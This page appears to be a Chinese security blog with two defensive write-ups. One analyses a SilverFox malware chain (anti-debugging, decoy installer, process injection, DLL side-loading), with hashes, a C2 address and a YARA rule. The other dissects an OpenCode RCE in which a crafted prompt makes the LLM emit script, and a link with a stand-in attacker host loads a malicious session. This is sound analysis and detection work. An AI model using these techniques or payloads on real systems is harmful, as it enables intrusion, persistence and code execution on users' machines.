标签 攻击链 下的文章

一、概述

近期,天穹沙箱团队在追踪银狐家族的攻击活动时,发现其最新样本采用了高度复杂且极具迷惑性的攻击链。该攻击链通过多阶段反调试检测、伪装合法软件安装、内存反射加载等技术,并结合隐蔽的进程注入与DLL侧载(DLL Side-Loading)等手段,以规避安全检测,实现持久驻留于受害者主机。

二、样本信息

  • 样本名: Rar0092_v3.53.278_2xdcey.exe
  • SHA1:50715a3abd66e17654255b7881b035d006dce605
  • 文件类型:EXE
  • 文件大小:127.03 MB
  • 家族归属:银狐家族
  • 报告链接:天穹沙箱分析报告

三、样本分析

该样本具备高度隐蔽性,在执行过程中反复侦测运行环境,其执行逻辑具有明显的多层次、复杂化特征。天穹智能化沙箱系统凭借其全链路行为深度建模与动态分析能力,成功完整捕获并解析了该样本从初始释放、伪装执行、多阶段内存加载到最终持久化与 C2 通信的全过程。系统不仅精准识别了其反调试、环境探测、权限提升等规避行为,还完整提取了各阶段解密后的恶意载荷。以下结合沙箱动态分析结果细致分析样本的恶意行径。

图1 攻击流程

1、反调试检测

首先,样本运行后先检测自身是否处于调试状态,通过检查 PEB->BeingDebugged 字段识别当前是否被用户态调试器附加调试。
接着,调用 NtQuerySystemInformation(SystemBasicInformation) 接口获取当前系统基本信息,检测 CPU 核心数量是否满足 >= 3 核,以及物理内存大小是否满足 >= 3G,样本依据上述硬件配置判断是否处于沙箱分析环境。

图2 反调试检测

当以上检测要求通过后,样本开启真正的恶意能力释放。为保护自身核心代码和逻辑不被轻易窥探,外部函数调用均通过手动查找 LDR 链表获取模块基址,再解析 PE 头获取函数地址,增加函数调用的隐蔽性。
这类多层环境感知检查被深度内嵌在代码执行流的关键节点上,形成贯穿始终的对抗屏障,阻碍安全人员的动态调试和静态分析。

2、伪装安装程序

环境检测通过后,样本再度检查自身是否具有管理员权限,权限满足后会在 C:\\ProgramData 目录下创建随机字符串的目录,并释放多个文件:

app.exe._ (MD5:f041793908111b5395226bc9ed5e6698)
README.md (MD5:daa5414f94d8f43925efffd79979cf75)
View.dat (MD5:c2db56df94b92d6370c87303d1506f54)
Web.dat (MD5:937ab7f863261a046ba3dd46df7cb270)
åº ç ¨å® .exe (MD5:34f435f15a846ae677f88ea412c074d1)
View.conf (MD5:85fac9d703132b9a28beb11d8ec3d181)
alt text
图3 创建目录释放文件

其中 åº ç ¨å® .exe (MD5:34f435f15a846ae677f88ea412c074d1) 为腾讯应用宝的可信安装程序,其余文件为样本后续阶段运行的加密 payload。
为掩盖程序真实意图,样本在释放恶意文件后,调用 WdcRunTaskAsInteractiveUser 接口运行腾讯应用宝安装程序,制造正常操作的假象,欺骗用户。随后,样本隐蔽地拉起 app.exe 进程,进入下一阶段的恶意操作。

图4 伪装程序

3、Payload 加载与执行

第一阶段: View.dat 文件 payload 为 raw 数据,样本通过 VirtualAlloc 分配内存,将 payload 解密后写入内存,并调用 CreateThread 函数创建线程执行该段 payload。
解密后的 payload 是一段具备内存反射加载 PE 文件功能的 shellcode,会加载 raw 数据中夹带的 DLL 文件,并调用其入口函数 DllEntryPoint 进入下一阶段逻辑。

图5 加载 payload

第二阶段: 内存加载的 DLL 文件注册服务并运行 svchost.exe 进程,并注入其他两个文件中包含的 payload (app.exe._ 和 View.dat)

图6 注入 payload

值得说明的是,在本阶段执行注入操作时样本会判断运行环境,高版本 Windows 系统将使用 PoolParty (泳池派对) 注入技术。
注入的恶意代码会在用户目录下释放两个文件:WebViewHelper.exe 和 libcef.dll,其中 WebViewHelper.exe 为具备合法签名的白文件,被用来加载黑文件 libcef.dll,达到混淆视听的目的。

图7 释放文件

svchost.exe 进程通过自启动服务方式运行重命名之后的 WebViewHelper 进程,进入下一阶段逻辑。

第三阶段: WebViewHelper 进程加载的恶意 DLL 文件 (libcef.dll) 会进行一系列的环境检测,包括判断运行环境、所属 session 以及管理员权限等,检测通过后与 C2 服务器建立通信。

图8 环境检测
图9 网络通信
图10 样本攻击链

整个攻击链逻辑错综复杂,层层递进,分析难度极大。同时,攻击者通过伪装合法安装程序、利用白文件加载黑文件等方式混淆视听,进一步干扰了用户和安全人员的判断。

四、IOC

恶意文件(MD5)

481577b35e4d09510c49d78f5c3fa98c    Rar0092_v3.53.278_2xdcey.exe
0c0d6806bb8caf68d4dfa5208db52a17    app.exe
f041793908111b5395226bc9ed5e6698    app.exe._
daa5414f94d8f43925efffd79979cf75    README.md
c2db56df94b92d6370c87303d1506f54    View.dat
937ab7f863261a046ba3dd46df7cb270    Web.dat
34f435f15a846ae677f88ea412c074d1    åº ç ¨å® .exe
85fac9d703132b9a28beb11d8ec3d181    View.conf
c154442ddf6363b6ac5822e47028d672    WebViewHelper.exe
74be16979710d4c4e7c6647856088456    libcef.dll

恶意IOC

192.238.201.32[:]30009              C2 地址

报告链接

分析报告:天穹沙箱分析报告

五、检出规则

天穹沙箱已针对该银狐变种样本编写如下YARA规则,供用户参考使用:

rule Trojan_SilverFox
{
    meta:
        description = "银狐变种的检测"
        date = "2026-01-04"
    strings:
        $seq1 = { 81 E2 FF 00 00 00 03 C2 25 FF 00 00 00 2B C2 88 04 24 48 63 44 24 04 48 8B 4C 24 20 8A 04 01 88 44 24 01 0F B6 04 24 48 63 4C 24 04 48 8B 54 24 20 4C 8B 44 24 20 41 8A 04 00 88 04 0A 0F B6 04 24 48 8B 4C 24 20 8A 54 24 01 88 14 01 }

        $seq2 = { 81 E2 FF 00 00 00 03 C2 25 FF 00 00 00 2B C2 48 8B 4C 24 20 88 81 01 01 00 00 48 8B 44 24 20 0F B6 80 00 01 00 00 48 8B 4C 24 20 8A 04 01 88 04 24 48 8B 44 24 20 0F B6 80 01 01 00 00 48 8B 4C 24 20 0F B6 89 00 01 00 00 48 8B 54 24 20 4C 8B 44 24 20 41 8A 04 00 88 04 0A 48 8B 44 24 20 0F B6 80 01 01 00 00 48 8B 4C 24 20 8A 14 24 88 14 01 48 8B 44 24 20 0F B6 80 00 01 00 00 48 8B 4C 24 20 0F B6 04 01 48 8B 4C 24 20 0F B6 89 01 01 00 00 48 8B 54 24 20 0F B6 0C 0A 33 C1 }

    condition:
        all of them
}

六、技术支持与反馈

星图实验室深耕沙箱分析技术多年,致力于让沙箱更好用、更智能。做地表最强的动态分析沙箱,为每个样本分析人员提供便捷易用的分析工具,始终是我们追求的目标。各位同学在使用过程中有任何问题,欢迎联系我们。

漏洞概述 CVE-2026-22813 是OpenCode开发环境中的一个高危安全漏洞,该漏洞通过巧妙的攻击链组合,允许远程攻击者在用户本地计算机上执行任意代码(RCE)。该漏洞的影响评分为9.4,影响OpenCode 1.1.10之前的所有版本。 漏洞背景 OpenCode是一个流行的本地开发工具,默认在localhost:4096端口运行HTTP服务,提供网页UI和API接口。该工具集成了AI聊天功能,允许开发者通过自然语言交互进行编程。 三重攻击链解析 第一环:XSS漏洞(初始立足点) 漏洞位置:OpenCode网页UI的Markdown渲染器 根本原因 1 HTML净化失效:用于渲染LLM响应的DOMPurify库未正确启用净化功能 2 缺乏CSP防护:网页界面没有实施内容安全策略 3 信任边界混淆:将不可信的LLM输出直接插入DOM而不进行转义 攻击影响:攻击者通过精心设计的提示词,可以让LLM生成包含恶意JavaScript代码的响应,这些代码会在用户浏览器中执行。 技术细节

Plain Text

复制代码
// 示例:恶意LLM响应绕过净化
const maliciousResponse = {
content: 'Here is your code:<script>evil()</script>'
};
// DOMPurify未启用,脚本直接执行

第二环:服务器URL覆盖滥用(攻击放大器) 功能机制:OpenCode网页UI支持通过URL参数动态指定后端服务器地址:

Plain Text

复制代码
// packages/app/src/app.tsx中的关键代码
const defaultServerUrl = (() => {
const param = new URLSearchParams(document.location.search).get("url");
if (param) return param; // 致命缺陷:无验证、无限制
return window.location.origin;
})();

攻击利用
攻击者构造恶意链接,诱骗用户点击:

Plain Text

复制代码
http://localhost:4096/Lw/session/ses_攻击者会话ID?url=https://恶意服务器.example

点击后的攻击流程 1 用户浏览器访问本地OpenCode页面(localhost:4096 2 网页UI读取?url=参数,连接至攻击者控制的服务器 3从攻击者服务器加载预先准备好的恶意会话内容 4恶意内容触发第一环的XSS漏洞 关键突破:此环节将需要复杂前置条件的XSS攻击转化为一键触发的远程攻击,攻击成功率从"可能"提升至"必然"。 第三环:本地API滥用(最终杀伤) 高危API端点http://localhost:4096/pty/ API功能:该端点允许在本地系统上生成任意进程,为开发功能提供终端访问。 同源策略绕过
由于恶意JavaScript代码在localhost:4096源下执行,它可以无限制地访问同源的所有API:

最终实现:攻击者可以: 1下载并执行远程恶意脚本 2安装后门程序 3窃取敏感文件 4横向移动至内网其他系统 漏洞复现

image.png

提供恶意聊天会话的一个简单方法是在真实的OpenCode实例前设置mitmproxy。这是必要的,因为OpenCode的网页界面必须加载大量资源,才能加载并显示聊天会话。 1.安装有漏洞的版本

2.创建恶意会话文件 evil_session.json

这个载荷会尝试在受害者机器上创建文件 /tmp/pwned_success 作为攻击成功的证明。 启动简易HTTP服务器

3.进行攻击 1用插件在反向代理模式下启动 mitmproxy

2 启动服务

3 构造恶意URL 在同一台运行OpenCode的机器上,访问以下URL:

原理?url= 参数滥用让本地UI加载远程恶意会话。 4 确认文件是在目录中创建/tmp/

漏洞修复

image.png

移除内嵌JavaScript

image.png

添加了 DOMPurify 依赖

image.png

在图像预览组件中添加了安全处理 防止了XSS攻击 移除移除动态JavaScript执行和自定义URL参数

image.png

改了306行代码,近乎重写了该文件 移除自定义URL参数

image.png

通过props控制,不再从window对象读取 结论 CVE-2026-22813是一个典型的"功能滥用→权限提升→系统控制"三重攻击链案例。它暴露出: 1 深度防御的缺失:缺乏输入验证、输出编码、权限控制的多层防护 2 信任模型的缺陷:过度信任客户端输入和本地网络环境 3 安全开发生命周期的不足:危险功能上线前缺乏威胁建模